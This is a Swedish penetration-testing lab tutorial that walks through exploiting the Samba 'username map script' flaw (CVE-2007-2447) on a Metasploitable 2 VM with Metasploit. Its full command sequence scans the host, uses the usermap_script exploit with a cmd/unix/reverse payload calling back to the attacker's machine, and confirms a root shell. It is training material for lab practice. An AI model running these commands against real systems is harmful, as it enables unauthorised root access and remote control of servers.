Sec24 – Samba
Av: Oscar Andersson, Sec24, 2013-05-04
OBS: Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.
I den här sektionen kommer vi att gå igenom olika sätt att ta över en Linuxserver. Du kommer behöva Metasploitable 2 och Backtrack eller Kali. Du hittar mer info om dessa i sektionen Sätta upp en testmiljö.
Bakgrund: Samba är öppen programvara för Linux/Unix-system som använder SMB/CIFS-protokollet och används för att dela ut resurser såsom filer och skrivare i ett Windows-nätverk (fil/printer-server)
Exploit CVE 2007-2447
MS-RPC (Microsoft Remote Procedure Call) funktionen för smbd (server daemon) i Samba 3.0.0 till 3.0.25rc3 tillåter externa angripare att exekvera arbiträra kommandon genom skalmetatecken i följande omfattning: (1) SamrChangePassword-funktionen, när “username map script” smb.conf alternativet är aktiverat och tillåter autentiserade användare att exekvera kommandon med hjälp av skalmetatecken som omfattar andra MS-RPC-funktioner inom (2) externa skrivare (remote printer ) och (3) fildelningshanteraren (file share management).
Grundorsaken är att användarens indata passerar ofiltrerat via MS-RPC-anrop till /bin/sh när externa skript definierade i smb.conf startar.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2447
Vi börjar med att logga in på Metasploitable 2 och tar fram vilken IP maskinen använder. Användarnamn och lösenord är msfadmin.
Detta görs genom kommandot ifconfig.
Starta nu upp Backtrack och öppna en ny terminal.
Skriv följande kommandon:
cd /pentest/exploits/framework2
nmap -p 1-65535 -T4 -A -v 192.168.1.125 2>&1 | tee /var/tmp/scan.txt
Vi får nu fram flera portar som är öppna. Samba körs oftast på portartna 139 och 445.
För att filtrera resultatet när nmap körts klart kan vi köra kommandot:
grep -i samba /var/tmp/scan.txt
I Backtrack går vi nu in under Applications –> BackTrack –> Exploitation Tools –> Network Exploitation Tools –> Metasploit Framework –> msfconsole.
Vänta några sekunder på att applikationen ska starta.
Om du inte vill att terminalen automatiskt ska byta rad efter 80 tecken kan du köra kommandot:
tput rmam
För att återaktivera radbrytning kör du kommandot:
tput smam
Kör följande kommandon:
search samba
Kör nu kommandona:
use exploit/multi/samba/usermap_script
show payloads
Payload är mjukvaran som låter dig styra ett datorsystem efter det har tagits över. Payloaden är oftast ansluten till och levereras av exploiten. Tänk er att exploiten bär payloaden i en ryggsäck när den bryter sig in i ett datorsystemet och sedan lämnar expoliten ryggsäcken därinne.
Vi väljer payloaden cmd/unix/reverse.
set payload cmd/unix/reverse
och kör sedan:
show options
set RHOST 192.168.1.125 (Metasploitable IP)
set RPORT 445
I nästa steg behöver du veta BackTracks IP-adress. Kan du inte den så öppna ytterligare en ny terminal och kör kommandot ifconfig.
Gå nu tillbaka till msfconsole och skriv följande kommando:
set LHOST 192.168.1.4 (BackTrack IP)
Kontrollera att allt ser bra ut genom att köra show options igen.
Allt ser bra ut så nu kör vi exploiten och några kommandon för att säkerställa att det gått vägen.
exploit (Vänta tills exploiten kört klart innan nästa kommando)
hostname
uname -a
whoami (Notera root!)
Om vi vill skriva en fil till servern med vår anslutning gör vi det med följande kommandon:
netstat -naop | grep 4444 > /var/tmp/samba.txt
ps -eaf | grep 4444 >> /var/tmp/samba.txt
I och med att vi är root har vi full kontroll över servern.
För att först mer av vad som händer kan vi logga in på Metasploitableservern och köra följande kommandon:
sudo su
netstat -naop | grep 4444 (Visar Metasploitesessionen)
ps -eaf | grep 5884 | grep -v grep
ps -eaf | grep 5887 | grep -v grep
ps -eaf | grep 4444 | grep -v grep ( /bin/sh körs i Metasploitesessionen)